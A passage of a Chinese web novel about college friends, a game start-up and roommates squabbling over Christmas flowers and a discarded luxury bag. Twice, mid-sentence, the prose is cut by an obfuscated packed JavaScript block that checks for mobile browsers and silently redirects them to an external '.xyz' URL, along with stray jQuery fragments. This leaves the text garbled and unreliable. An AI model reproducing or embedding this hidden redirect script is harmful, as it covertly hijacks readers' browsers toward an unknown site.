所以这个妖孽居然能忍受在如此朴素的办公室里办公,真是让他诧异。不过话说回来,叶翔创业这件事情,本身听上去就挺诡异的。毕竟他的人生哲学是“人生短暂,享乐为先”,创业这种苦差事,看上去跟他风马牛不相及。 “来啦?”叶翔指了指简瑞洺,“我老板。” 他身上是新一季巴黎世家的针织衫,这种骚包的墨绿色外加全身Logo大概也只有他能hold住了。 简瑞洺看了一眼叶翔,“瞎扯什么呢”,他站起来,从办公桌后面走出来,朝萧楠伸出手,“你好,我是简瑞洺。” “你好,萧楠!”他的语气有点冷,简瑞洺不知道,萧楠把他当作了潜在情敌。 “你们先聊一会儿,我手里还有点活儿。”叶翔简单交代了一句,回到位置上自顾自忙活。 萧楠看着叶翔,他专心致志地盯着屏幕,不停敲打键盘——他工作的时候和平时完全不像一个人。 “你们游戏公司一般不都是技术合伙吗?叶翔这家伙又不会写代码开发游戏,你们怎么会一起创业?”萧楠边说边不着痕迹地打量简瑞洺——他浑身上下没有任何名牌,穿着黑色粗棒针菱格毛衣,配一条深蓝色牛仔裤和耐克运动鞋——大概这是IT男的标准打扮。他出乎意料的清秀,有一种书生气质。 “我们的游戏刚开始爆就有游戏公司想要买,我们当时不想卖掉游戏,对方用了一些非常手段,他们控告我们代码抄袭。当时我们没钱,也没人愿意帮我们打官司,多亏了叶翔挺身而出,否则我们的游戏早就不存在了。”简瑞洺说得云淡风轻,萧楠却能想象当时的情形。 萧楠感觉自己的胸口有点闷,他在想,究竟这个人有什么独特的地方能够吸引周小西呢? “基于这个,你们才关注专利和游戏授权等一系列的问题?” “可以这么说。” 尽管今天是圣诞节,可这个办公室里的人似乎没觉得这是个正儿八经需要关注的节日,全都在埋头工作。 简瑞洺有些抱歉地解释,“游戏快要面世了,很多同事通宵赶工测bug做调试,办公室有点乱。” 萧楠四周扫了一圈,果然每个人眼底下都有或深或浅的淤青,有几个小伙子大概好几天没离开办公室了,胡子拉碴,眼睛浮肿,状似僵尸。他看向叶翔,那家伙倒是神采奕奕,他是绝对不可能住办公室的那类人,萧楠相信就算是工作到凌晨四点,他也一定会回家,洗澡换衣服。 “我们最近在做一些禁止未成年人沉迷游戏的设置,比如未成年人登录游戏时间过程过长提醒及强制下线的功能”,简瑞洺边写程序边说:“还有未成年设备购买支付的一些门槛设定……”。 “这样不是会妨碍你们的业务发展?”萧楠十分诧异。 简瑞洺抬起头,说:“我们想做的不仅仅是一个赚钱的游戏公司,而是一个有道德并且有社会责任感的企业。” 萧楠对简瑞洺产生了很神奇的观感,他身上有一种奇异的特质:如果不是事先就知道他们是同龄人,他会对他的年龄产生极大的误判。他不谈论工作时,仿佛是个高中生,带着腼腆的青涩;一旦开始讨论工作,显得沉静稳重,似乎有一副深沉且成熟的灵魂。尽管不愿意承认,可简瑞洺的确完全可以称得上势均力敌的对手。 “我正在拟禁止未成年人注册、登录和支付的一些条款。”叶翔从位置上站起来,冲他们的方向走过来,打断了萧楠和简瑞洺的沟通,“瑞洺,你来一下会议室,我有点具体的事情要跟你探讨一下”。 “再等我十分钟啊。”叶翔大大咧咧地冲萧楠嚷,顺便给了他个眼色,这小子就差飞个媚眼了。 关上玻璃门的那一瞬间,萧楠觉得他被隔绝在了他们的世界之外。 玻璃门里面的两个人面对面站着,围在桌子旁边,手指不停地在桌子上戳戳点点,兴起之时,叶翔拿起马克笔在墙上的白板上又写又画。 不知道他们讨论了多久,萧楠已经翻完了手机里最新的设计图稿,他们还没从会议室出来。他从沙发抬起眼,看见简瑞洺的嘴角上扬,走上前对着叶翔的肩膀捶了一记。紧接着,叶翔露出了他无比熟悉的灿烂笑容。他们两个人都在笑,眼睛里亮着动人的光彩。尽管一个穿着朴素,另一个浑身名牌,看上去风马牛不相及,此刻却无比和谐。 萧楠愣住了,他又想起了那个问题:究竟人生的意义是什么? 也许有些人是为了金钱,有些人是为了权力。但叶翔显然不是,他似乎在这份工作中找到了让他享受工作的因素。成就感,值得信赖的队友,实现梦想的可能?这些词依次从他的脑子里闪过,但他还是没有抓住究竟答案是什么。 当他们到达奢侈品林立的思旻街时,萧楠才感觉回到了现实的世界里。不过一街之隔,这里是狂欢的天堂,这条街的隔壁却是W市出了名的贫民区:一排排破烂低矮的小房子,一家几代人都挤在里面,刚出生的孩子甚至睡在缝纫机的抽屉里。住在楼上的人往地面上泼洒脏水,下水道里散发出让人作呕的臭味,整个环境肮脏、逼仄且充满着臭味。没有人关心,似乎所有从这里经过的人都自觉忽略了这个事实。人们假装这里从古至今都是繁华热闹的中心,而那些阴暗的小角落,从来都没有出现在阳光下。 说来奇怪,以前萧楠和其他人一样,对这些视如无睹。但今天,他莫名地向那个方向望了几眼,有一个奇怪的念头一闪而过:我们任何一个人都渺若微尘,但我们至少会对一些人产生影响。 顺便说一句,这里离叶翔现在的家很近。如果他愿意的话,完全可以先回家洗个澡,然后走个五分钟去OMP大厦购物——在这座大厦里,只要在中国范围内出售的奢侈品都能找到,都能买走,前提是你足够有钱。 所以,当叶翔提出“要不然去我家坐一会儿再去逛”的时候,萧楠完全没感到意外。 外面是商业大街,到处都是名品店,车水马龙,人声鼎沸。一走进明怡路和思旻路交接处后面那条叫慕康路的小巷子时,就好像进入了一个巨大的玻璃罩子里,所有的声音都被屏蔽了。 两边红砖墙上的爬山虎生长茂盛,藤蔓交错;绿色已然褪尽,深红的叶子里间或探出些许橙黄色,坚定地攀附在墙面上,跟它融成一体。似乎千千万万年以来,它就是以同样的姿态跟这面墙壁交缠在一起,向这座不断向前的奔跑的城市宣告,就算所有事情都改变了,也会有些事物一日复一日不变地存在着。墙内郁郁葱葱的高大树木已经落光了叶子,斑驳的太阳影子映射着不安分探出墙头的枝桠,斜斜地落在脚边。太阳慵懒地散发出温暖的射线,暖阳让人情不自禁想要伸个懒腰,恍如春日。让人忘记了此刻已近隆冬,恍惚中分辨不出究竟是春末抑或夏初,只觉得行走在这一小径之中,恍若与尘世间隔离开来,忘记了烦恼。走到尽头,是一座独栋的小洋房。原来这就叫做闹中取静。 这是叶翔在W市买的第四栋房子,萧楠还没来过,尽管他住的地方离这里不过两个路口。 来W市上大学的第三天,叶翔就拉着萧楠去看房子。用他的话说,W市的地产处于价值洼地,不买白不买——好像房子是白菜一样。 现在萧楠有点后悔没听叶翔的话,他当时只在开发区买了两套小公寓。而他现在住的那套,因为嫌贵没买,只是租下来住。虽然这个地段的房价当年是W市房产均价的2倍多,现在回头去看,却无疑是一笔很划算的买卖——W市的房价已经翻了好几倍。可惜没有后悔药吃。 叶翔买房子速度很快,跟去市场买大白菜差不多。就拿他的第一套房子来说,萧楠以为他最起码得折腾个大半个月,没想到两天后他付了定金,一个星期内交首付办贷款过户,效率奇高。 萧楠不能理解的是,明明叶翔买房子拿得出全款,压根不需要贷款,可他从不全款买,无一例外全找银行贷款。他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14997366|161687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问叶翔干嘛贷款付利息,叶翔毫不为意地说:“能用银行的钱,干嘛要自己掏钱?” 后面叶翔拿那套房子抵押,加上手里的钱付了另外两套房子的首款,照例没超过一星期,让萧楠叹为观止。在买房这件事上,占用他最多时间的是挑选合适的标的物和谈下合适的价格。一旦锚定目标,他即刻下手,从不拖泥带水。 论胆子,萧楠自认为十个自己都不够叶翔半个——当年他买的第二套公寓,也是叶翔撺掇出的主意。他一个读建筑的,虽然美学品味在线,可金融细胞为零,对加杠杆这事儿更没头绪。用第一套房子抵押贷款买第二套的时候,他问他妈拿了十万块,哪儿还敢再买第三套?更何况他爸知道之后强烈反对,他爸是某所大学的名誉教授,一直批评他这种行为是投机倒把。 其实,他一直纳闷,叶翔一个学法律的,赚钱的事儿怎么头头是道。可转念一想,有那么个爸爸,叶翔这些大概都算小打小闹。 “你想什么呢?”叶翔边按密码锁边问。作为死党,他对萧楠的心不在焉一览无余。 萧楠站在台阶上,并没有回答他的问题。叶翔回头望了萧楠一眼,接着说:“今天Lydia还没来,家里有点乱。哦,还有点脏。” Lydia是叶翔用了快三年的钟点工,每天下午四点来打扫,她除了用戴森吸尘器把整个房子吸一遍尘之外,还会用除螨机再打扫一遍——大概没有一只螨虫能在叶翔家活过24小时。更别说还有一个月一次的杀菌杀毒处理。所以叶翔字典里的“脏、乱”应该是普通人家里整洁的最高级。 萧楠进了门,果然如他所料,除了一件像是准备送去干洗店的Kenzo运动服扔在沙发上,其余地方都跟刚入住的酒店房间一模一样。至于叶翔说的脏,萧楠觉得他甚至可以穿着白袜子直接踩在地板上。 说到白色,叶翔的这个家里最多的颜色就是白色——白色的沙发,白色的餐桌,甚至连桌子上的餐垫都是白色。不仅仅是客厅,卧室和厨房也都以白色为主,连所有的锅都是白色。 进门的一瞬间,萧楠愣了片刻,这扑面而来简约明快的风格是怎么回事?除了透明的水晶灯,目光所及之处全是纯白。他甚至怀疑,如果可以的话,叶翔会不会把水晶灯也涂成白色。 他一直诟病叶翔的审美风格,但叶翔从来都秉承“你说你的,我做我的”以及“不接受任何贫穷的设计风格”。对于这一点,萧楠很是恼火,怎么说,他也是S大建筑系高材生,世界500强企业抢着向他伸出橄榄枝的新锐设计师,自己的死党居然坚定地认为他所推崇的简约风是贫民窟风格。 萧楠记得很清楚,六个月前他们俩翻建筑室内杂志,叶翔大肆吹捧洛可可风和巴罗克风,把现代派的极简风格批评得一无是处,认为它和美国乡村风一样,是野蛮人的最爱。而萧楠则毫不客气地抨击叶翔的审美是暴发户式审美,整座房子散发出人民币的味道。 “你中邪了?”萧楠看了眼脚下的Fendi毛毯,注意到客厅橱柜里一整套的Meisse咖啡杯和茶具,才确认他确实进的是叶翔家。 “就……想换个风格……”叶翔含糊其辞,“要喝什么自己倒,我去洗个澡。” 哦,对了,叶翔有洁癖。尽管他平时隐藏得很好(主要是怕别人把他当做奇葩),但在他的设定当中,每天至少要洗两次澡,六个小时洗一次澡已经超过了他能忍受的极限。萧楠丝毫不怀疑他在逛完了之后,会再回来洗个澡。 四十分钟之后,叶翔穿着带帽的棉质黑色套头衫,外面罩了一件D&G的皮夹克,吆喝窝在沙发里打游戏的萧楠出门,精神得像是刚磕完药。萧楠忍不住嘲讽了他一句:“你为了跟我约个会还真是舍得下血本。” “你想得美,我晚上有约会。” 萧楠轻蔑地扯了一下嘴角,眼皮都没抬一下,冷哼一声,“谁信啊?!” 说完之后,他把脸凑到叶翔面前,继续补刀,“你要有约会,刚刚还能安安稳稳地坐办公室里?” “爱信不信。”叶翔把手插进皮夹克口袋里之前捋了下头发。 让人一掷千金的OMP大厦,从来不缺让人目眩神迷的大号橱窗,但人气这个东西显然是跟价格成反比的。尽管OMP 大厦里那些名品店消费者和店员的比例都快达到1:3了,叶翔仍然对此不满,他时常抱怨人太多,应该取消那些人均几十块的咖啡铺和甜品店。这其中包括星巴克和Costa。 眼下,叶翔和萧楠正从一楼大厅走向扶梯。而这一小段路,他们已经碰见4-5个向他们行注目礼的女人,这让叶翔很不爽。 一个有些微胖的姑娘走过去很远还频频回头看他们俩,叶翔终于忍受不了,“她们总让我有一种没穿衣服的错觉。” 萧楠头也没回地回答他:“你不是应该很享受欣赏吗?” “享受个屁。”他在Kenzo的专柜前面停下来,指着塑料模特身上的那件外套问:“这件会不会太骚包了?” 萧楠原本已经走过了那个橱窗,他调头回来扫了一眼——紫色格纹的大衣。他挑了一下眉毛,说:“罗马大帝应该会很喜欢,你是想娶他女儿吗?” 他们一路吐槽现在品牌设计师的品味,直到走到LV专柜,叶翔看上了一件澳洲羊绒的大衣。纯黑色,没有任何Logo,做工精细。 他刚想让店员拿那件衣服给他试一下,一个穿着Armani黑色套裙的女人走了进来。店员毕恭毕敬地跟她打招呼:“Hello,Vivian小姐。您要的衣服已经熨烫好了,是包起来还是用衣架撑起来?” 那个女人扫了一眼衣服,说:“不用包了,就这么给我吧。陈先生等着呢。” 店员麻利把衣服从架子上拿下来,迅速套上了专用的大衣袋,然后用戴着白手套的双手捧着递给了她。 叶翔向那个画着小烟熏妆的精致女人露出了号称八颗牙微笑的标准笑容,“美女,我很喜欢这件衣服。你能让给我吗?” Vivian连眉毛都没抬一下,笑容更是欠奉。她拎着衣服从他们旁边走过去,“小弟弟,这一套你还是留着对付学校里的小女生吧。”她戴上墨镜,踩着12公分的高跟鞋一路小跑着离开。 叶翔的脸色变得很难看。萧楠的脸色也没好看到哪里去。 “继续逛吗?”萧楠用手肘戳了戳发愣的叶翔。 叶翔无精打采地摇摇头,“算了,没心情。” 萧楠也猜到了,在叶翔的字典里,退而求其次是不存在的。 “接下来去哪儿?” 萧楠看了一眼手表,四点半,去吃饭还有点早。他本来想问叶翔是否有兴趣去听个演唱会,又觉得两个大男人听演唱会算哪门子活动。 他还在犹豫,叶翔说:“你先走吧,我约了人,要回趟铭盛。” 萧楠的嘴巴张得很大,简直能吞下一只鸵鸟蛋,“你约了谁?不会是凌静宜吧?” 叶翔含糊不清地回答:“快了。” 当萧楠反应过来这个回答跟“没有”是同义词的时候,叶翔已经离开了他的视线范围。 31. 第 31 章 在这个每年都有看似寻常又被国人炒成不寻常的日子里,凌静宜的好心情遭遇了两波冲击。 今天一早,就在我去收发室的那个时间段里,她收到了一个硕大无比的盒子,标志性的山茶花,不用看盒子上的字都知道这是她熟悉到不能再熟悉的品牌。完全性冷淡风的纯白色包装,只能出自巴黎康鹏街。陈东尔当然不知道,凌静宜在知道他出国的那天,就把所有他送的Chanel都剪碎扔进了垃圾桶。 凌静宜咬着牙想把那个盒子上的丝带扯烂时,刘小叶顶着一头乱糟糟的头发从房间里走了出来。她揉了揉惺忪的眼睛,发出了惊呼:“我知道这个牌子!是边走边晃着两颗□□的那个女明星代言的,她叫什么名字来着?” 我们必须得原谅刘小叶的激动,她几乎不认识任何奢侈品品牌,偶然有一个她知道的,激动在所难免。 因为这个,陈梦晓曾经嘲笑她,八卦杂志都白读了。 刘小叶振振有词地反驳,“小陈哥,八卦的重点在于什么?难道是名牌吗?” 不得不提,那一次我们集体站在了刘小叶那一边。用凌静宜的话说,刘小叶这一次把重点用得非常正确;而其他人认为,为难一个能把品牌英文名都记错的人并不是光彩的事情。 当然,现在的凌静宜不会觉得刘小叶重点正确,眼下她就像一座沉睡了许久即将醒来的火山一样。 凌静宜脸色铁青地回了她一句,“理查兹·塞隆,她代言的是Dior。” 刘小叶无所谓地对着天花板说:“有什么差别吗?外国的女明星都爱晃着□□走来走去……” “你再说一次□□,相不相信我灭了你?!”凌静宜已经在爆发的边缘。 “不说就不说……”刘小叶轻声地嘟囔:“犯不着一大早为了奶……”眼睛余光瞥到凌静宜,她识趣地转换了话题,“哎……赶紧拆开看看,我还没见过没人用过的名牌!” 刘小叶说的是实话,她所见过的名牌,全都穿在别人身上——不是八卦杂志上的明星就是凌静宜。 凌静宜没有说话,继续撕扯包装盒上的丝带,活像那根丝带欠了她好几千万。 “你别再扯了,它都快烂了……”刘小叶心疼地看着那个盒子,心里计算这个包装盒折合人民币得值多少钱。 凌静宜蹂躏完外包装之后,从盒子里扯出一个印着女人头像的防尘袋。她抬头看了刘小叶一眼,刘小叶趴在桌子前,活脱脱一只看见了肉骨头的狗模样,就差掉口水了。 她打开防尘袋,从里面拽出来一个包,稍微有些发愣——她的Dream bag,她和陈东尔第一次去法国旅行时,康鹏总店缺货的那一只。 “哇塞,好舒服……”刘小叶伸出手摸了一下软软的小羊皮,发出由衷的赞叹,“就是颜色不太好,白色的得多难洗啊!”下一秒,包从她的手指边划过,以一个完美的弧度飞向了垃圾桶。 刘小叶错愕地抬起头,看见面无表情的凌静宜,还有刚刚从房间出来目睹了扔包经过的陈梦晓。 “你刚刚扔掉的是香奈儿?!”陈梦晓的眼睛瞪得像见到了霸王龙,“还是限量版?!” 刘小叶不明所以,她对于名牌包的唯一概念就是贵,很贵,非常贵! “那个……”她用眼神指了指垃圾桶里的包包,轻声地问:“非常贵吗?” 陈梦晓伸出一只手,刘小叶吐了一下舌头:“一个包要卖5000块,这不是打劫吗?” “是五万……”陈梦晓的白眼要翻到外太空去了,她走到刘小叶身边,一把搂过她的脖子,循循善诱,“我跟你说哦,这不是重点,重点是这只包有钱都买不到了!” “你们有完没完?” 凌静宜显然很生气,但刘小叶仍然陷在一只五万块的包带给她的震撼当中,丝毫没感受到这烈火燎原的气氛。 她吞了一下口水,期期艾艾地望向凌静宜,问:“圣诞节送五万块的包,那情人节是不是得送大钻戒?” 这一下可算捅了马蜂窝了。 凌静宜出离愤怒地开始撸袖子,她朝陈梦晓疯狂地喊:“我们厨房里有菜刀吗?我要剁了她!” 陈梦晓从来没见过凌静宜这个样子(顺便说一句,后来我们已经见惯不惯了),她弱弱地劝了一句:“冷静。你要冷静……” 后来刘小叶挥舞着她的小胖手,向我控诉小陈哥就是只纸老虎,搞得好像她没见过程梦晓慌神一样。 凌静宜没搭理陈梦晓,转身去了厨房。她在厨房里转悠了半天,只找到一把小小的陶瓷刀。别说剁刘小叶了,连剁榴莲都有些费力。 刘小叶躲在陈梦晓后面瑟瑟发抖,“小陈哥,她不是真的想砍死我吧?” 陈梦晓无比同情地扭头看了看她,“你还是回房间躲一躲吧。看起来她像是来真格的了。我帮你再去劝劝她。” 刘小叶尖叫着跑回了房间锁上了门爬上了床盖上了被子,行云流水。 我把花藏在背后,趴在宿舍门口听动静。这时候,占据我脑海的主旋律只有一个:静悄悄地把花处理掉。 在路上我就想把花扔了,但总觉得萧楠会看见。尽管我一直在宿舍里扔他送的花,可这跟当着他的面扔是两码事。 一个穿着棕色毛绒外套的姑娘从我身边经过,来回打量了我几次,仿佛在确认我是不是来女生宿舍踩点的。我回头冲她点点头,用嘴型告诉她:“我住这里的。” “哦……我认得你!”小棕熊仔细看了我两眼,笑得很暧昧, “你不是陈梦晓女朋友吗?上次她拒绝洛子溪的时候,你在场。” 我对她完全没有印象,也不认识什么洛子溪。但说起扮演小陈哥的女朋友打发她的狂热追求者,我的脑子里瞬间浮现出一个很清纯的女生形象:那个女孩子个子小小的,头发长长的,眼睛大大的,很像我小时候有过的一个洋娃娃。可她的性格完全是个霹雳款洋娃娃,那段时间她是陈梦晓的噩梦。 陈梦晓不管是去训练还是去吃饭,她都有办法缠着她。甚至连小陈哥去厕所,霹雳洋娃娃都能在厕所里蹲点。她用行动完美诠释了“爱情是不分年龄、国度和……性别”的价值观,可怜小陈哥被她追得像丧家犬一样,只能巴巴地找我们求救。 依照刘小叶出的馊主意,我假扮小陈哥的女朋友,和小陈哥去跟霹雳洋娃娃“摊牌”。她死死地盯了我两眼后,就再也没朝我看一眼。她从始至终一言不发,可怜巴巴地望着陈梦晓,小巧的鼻子翕动,眼看着就要哭出来了。陈梦晓声音越来越低,到最后干脆喃喃地说不下去了。 “反正就这样了,你看怎么办吧?”陈梦晓的总结陈词显得她像是劈腿的死渣男,而我则是成功上位的小三。 霹雳洋娃娃气呼呼地瞪了她一眼,怨毒地剜了我一眼,掩面哭着跑了。 刘小叶本来还摩拳擦掌,准备给我们壮壮声势,听说我们顺利地解决了事情,她很不相信地表示,“这届白莲花的战斗力不行啊……” 然后对着我的脸啧啧地感慨了一句:“这妖精脸不拆散别人姻缘太浪费了!”被我追着一顿暴打。 在那之后,霹雳洋娃娃就像人间消失了一样,再也没在我们面前出现过。我跟陈梦晓悬着的一颗心终于放回了肚子里。说真的,我都快忘记了曾经发生过这么件事。 她盯着我手里的花,意味深长地说:“原来你是T啊……”她啧啧了两声:“真没看出来……难怪陈梦晓不喜欢洛子溪……你们蕾丝太具有迷惑性了。” 我无比尴尬,笑也不是哭也不是,只能不理她,继续把耳朵贴在门上。 当然,我没看见她扬起嘴角,露出两颗尖尖的小虎牙,眼睛里闪烁着意义不明的光芒,“哦,忘记告诉你,洛子溪可不是省油的灯……” 好不容易她走了,我没听到任何动静,心想大概风波已经过去了,猫着腰悄悄地摸进宿舍。 客厅里果然一个人都没有,我深呼出一口气,庆幸今天的运气还不算太差。 今天垃圾桶不知道被谁放到了客厅中央,我快步走到垃圾桶旁边,准备把花儿快准狠地扔进去毁尸灭迹。这两天郑筱扔的花快赶上圣诞节街头送的免费气球了,多一束应该没有人会发现。可计划实施起来有点费力,垃圾桶里斜斜地扔着一只纯白色的包,角度非常诡异地卡在了45°的位置上,剩下的空隙大概只能勉强塞下两支花。我如果想要把花扔进去,就必须先把包扯出来,扔完花再把包塞进去。我只能蹲下来,一手抱着花,一手从垃圾桶往外掏那个包。 凌静宜举着一根像饭勺的东西冲了出来,嘴里还嚷着:“没菜刀就算了,我们竟然连锅铲都没有!” 我呆若木鸡地定在那里,像个傻子一样,一只手拽着包,一只胳膊夹着一大束花蹲在了客厅中央的垃圾桶旁边。意识到自己暴露了之前,我脑子里一闪而过的念头居然是:她也不想想,我们从来不做饭,吃披萨都用手撕,怎么可能会有菜刀锅铲? 跟着她冲出来的是陈梦晓,她拉着凌静宜的胳膊,一个劲儿地说:“你别冲动,大过节的。” 事实证明,中国人还是不要过什么圣诞节了——黄历上都没法标明:不宜出行,诸事不宜。 凌静宜像没事发生一样,迅速把饭勺疑似物体藏到了身后。眼睛里满满都是想要把事情搞大的神情,她把胳膊往陈梦晓肩头上一搁,颇有兴致地在我和花之间来回扫了两遍,“周小西,不打算说说嘛……” 刘小叶大概又趴在门缝上偷听,她一阵风一样地把我从地上拽了起来,不知道是激动还是激愤,捏着我的肩头往死里摇,“小西,快说,你收了谁的花?” 这跟军统特务逼问地下党的阵仗也差不多了,区别在于我到底是顽抗到底还是识时务成为俊杰。 此时此刻,我的脑子里一片空白,和面对突袭考试的刘小叶差不多。 尽管我的潜意识提示有被人发现的风险,可在我的想象当中,它是这样的:我蹑手蹑脚回房间,准备把花藏在桌子下面,分批悄悄地扔客厅的垃圾桶里。正当我积极处理花束时,身后有人拍我的肩膀,吓得我差点一屁股坐在地上。我一回头,看见顶着一头乱糟糟头发的刘小叶。她懵懂地问:“你一大早见了鬼啦?” 我摸着自己的心脏,缓了口气,把玫瑰花往刘小叶手里一塞,“送给你了……” “我才不收来历不明的花儿呢。”刘小叶摇头晃脑地威逼利诱,“快说,你这一早上去哪儿了?谁送的花儿?” ————我没有采用这种方案,直接在客厅毁尸灭迹,没想到暴露得更加彻底。 “哎……小西,你发什么呆呀?”刘小叶迎着凌静宜的目光(这下她倒是不怕被砍了),问:“她不会是被我吓傻了吧?” 凌静宜轻蔑地看了她一眼,说:“就凭你?” 她淡定地拍开刘小叶的手,把她那双涂了好几层护手霜的手放在我肩膀上,以一副谆谆善诱的姿态说:“你是想自己主动坦白呢,还是我们积极调查呢?”顿了顿,她接着说:“当然啦,我们调查的时候可不保证会不会泄露出去。” 为了不让八卦播及的范围更广(后来,我觉得自己大概脑子被门挤过了。我的八卦,再扩散也不过许苑薇和郑筱知道),我认命地坦白花是萧楠送的,还没来得及扔就被逮住了。 刘小叶和陈梦晓相互对视了一秒钟,我想她们在眼神中完成了对我的鄙视——这对于她们来说,连八卦的边儿都沾不上。 “你早说啊,浪费心情。”刘小叶一副我欠了她大几百万的表情。 “就这一点来说,我同意刘小叶的观点。”凌静宜把手缩了回去,仔细看了看前两天刚做的法式甲。 “这包怎么回事?”我扯着犯罪现场的证据,总算想起来这大概能掰回一局。 “有人花了五万块买了一只没人知道的包送给凌静宜,她不高兴就扔了呗”,刘小叶嘟囔:“有钱人的脑子是不是被门挤了?” 凌静宜的脸色变了变,甩了一句,“限量版跟没人知道是两回事!” 就在我以为扔花事件已然过去,马上风平浪静的时候,有人高叫了一声:“小西,你收到萧楠送的花?!不是我认识的那个萧楠吧?!” 我的老天爷啊! 我怎么忘记了还有李离的存在! 她穿着睡衣站在厕所门口,一副斗志昂然的样子。 绝望地把玫瑰花往刘小叶手里一塞,今天到底是什么日子?我豁出去了,“是的,萧楠在追我,叶翔在追凌静宜!” “什么?!!!”李离冲到我面前,“你说的是我知道的那个叶翔?!” 我同情地看了一眼李离,点点头,“没错,萧楠是那个萧楠,叶翔也是那个叶翔。” 她曾经宣称萧楠在她的校草排行榜上是永远的第一名,我懒得拆穿叶翔是并列第一。这大概是她人生中的两枚重磅炸弹,比广岛长崎的那两颗威力有过之而无不及。 “哎?还有小卡片呢。”刘小叶从玫瑰花束里抽出卡片,打开就读:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14997367|161687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你既是我的红玫瑰,也是我的白玫瑰。” 我的头皮一阵发麻,我靠!!!谁说理工男没情趣?!肉麻起来让人完全招架不住。 “我靠!这酸了吧唧的词儿是谁写的?”陈梦晓接受无能地打了个颤。 “张爱玲。”凌静宜在旁边翻了一个巨大的白眼,她也受不了这些所谓诗人的浪漫做派。 有一次有个中文系的人给郑筱的情书里夹着一张小纸条,求欢词改编了那位肉麻教主徐先生的诗。 ——我是一朵轻盈的雪花,翩翩地在半空中飞扬。 认明那清幽的住处,等着你来花园里探望。 啊,你身上有朱砂梅的清香! 那时凭借我的身轻,盈盈地沾住了你的衣襟。 不消那阳光的照耀,融在你那柔波的心胸。 啊,我耳边响起了你的呢喃! 凌静宜发出响亮的呕吐声,“他怎么不去死?这分明就是淫词艳曲!” 那一次刘小叶非常严肃地表示了认同,“对!这个臭流氓,他都想把自己埋进郑筱的胸里了!” 我们集体笑翻了过去。“雪花”成了吐槽追求者的代名词——你的雪花今天快乐吗? “就那个写了一辈子人情冷暖,结果还被大汉奸骗了的?”刘小叶虽然不读书,但类似于绯闻八卦的稗官野史却是她的最爱,也不知道她都是从哪儿知道的。 “这是圣诞节,不是情人节!这些种马都怎么了?”凌静宜在收到红玫瑰时烦躁地抱怨。 短短的一个上午,我们居然收到了十二束花——除了我自己捧回来的那束,我还收到无名氏的两束花,凌静宜收到了一束蓝色妖姬和一束红玫瑰,陈梦晓收到了十一枝红玫瑰,剩下的全都是郑筱的。 哦,对了,小陈哥虽然在收花数量上比较逊色,但收的巧克力快堆满了桌子,品类繁多,从贵价品牌到费列罗,且很多都是心型包装。 话说,送巧克力不是情人节专属吗?万万没想到,女生在求偶市场如此内卷。 “我靠……我们这都可以开花店了。”刘小叶快乐地在每一束花里搜寻小卡片。 那些巧克力,刘小叶极度劝阻陈梦晓把它们扔出去,理由是“生亦何欢,死亦何苦,要让巧克力死得其所。有人欣赏,才是它们最好的归宿”。真难想象,吃货为了食物能够迸发出这么大的潜力——我有一种刘小叶突然被佛祖度化的诡异感。 凌静宜显然心情不怎么美妙,她把一整束蓝色妖姬用力地塞进垃圾桶,又把旁边那束红玫瑰一根一根折断后扔进了垃圾桶。 “哎……别急着扔啊,我还没看卡片上写了什么呢!”刘小叶痛心疾首。 “欧祈怎么回事儿?!他一个有女朋友的人,都不送花吗?”凌静宜转过来对着刘小叶,一本正经地建议,“你考不考虑换个男朋友?” “买花多浪费钱!”刘小叶眨巴眨巴眼睛,戳着自己的手指,说:“我们的感情只要靠吃的就能证明……况且,我也不喜欢……花。” 话音还没落,有人打电话让刘小叶下去,她上来时抱了整整一大捧向日葵——看来建筑系跟土木系、机械系的品味不相上下,真是天下直男本一家。 对于欧祈没有送一整袋炸鸡翅和鸡腿来表达爱意,我们集体进行了吐槽。 “刚刚谁说感情靠吃的证明?欧祈都不送零食了,是不是得考虑分手啊?” “连个太阳都没有,送向日葵算怎么回事?” “啧啧啧,欧祈这挑花的品味……简直令人发指。” “哎呀,你们不懂,欧祈知道我最喜欢黄色。” 前一分钟还说不喜欢花的刘小叶,这一分钟笑得像朵向日葵。 “那他下回不会送菊花吧?”凌静宜一本正经地吐槽:“赶上清明你正好能拿去扫墓。” 刘小叶满脸不在乎地说:“你们这是嫉妒。” 她抱着向日葵在客厅里走了两圈,我们全都一副没眼看的表情,她回过头来冲我们嚷嚷:“赤裸裸的嫉妒!我家欧祈这是低调!低调懂不懂?” “向日葵的花语是沉默的爱……刘小叶,你们家欧祈还低调啊?”陈梦晓继续补刀, “都快撒糖齁死我们了。” “哼!某些人今天还收到了十一朵红玫瑰呢!”刘小叶挺起胸脯,毫不客气地反击:“那代表什么?爱你一生一世?一心一意的爱?你家陆亦才肉麻!” “什么我家陆亦……”陈梦晓脸涨得通红,“你别瞎说!” “那又是哪个女粉丝送的咯?”刘小叶眼睛眉毛都笑得弯弯的,“你把花瓶借给我吧,反正花你要扔的。” 陈梦晓看上去有点心虚,“我哪有花瓶?你问别人借。” 刘小叶挑起一边的眉毛(我一直很好奇这种高难度动作是怎么完成的,刘小叶还能只眨一只眼),疑惑地说:“我上次明明看到有一只水晶花瓶,上面还插了红玫瑰,难道我记错了?” “你肯定是记错了。”陈梦晓斩钉截铁地说。 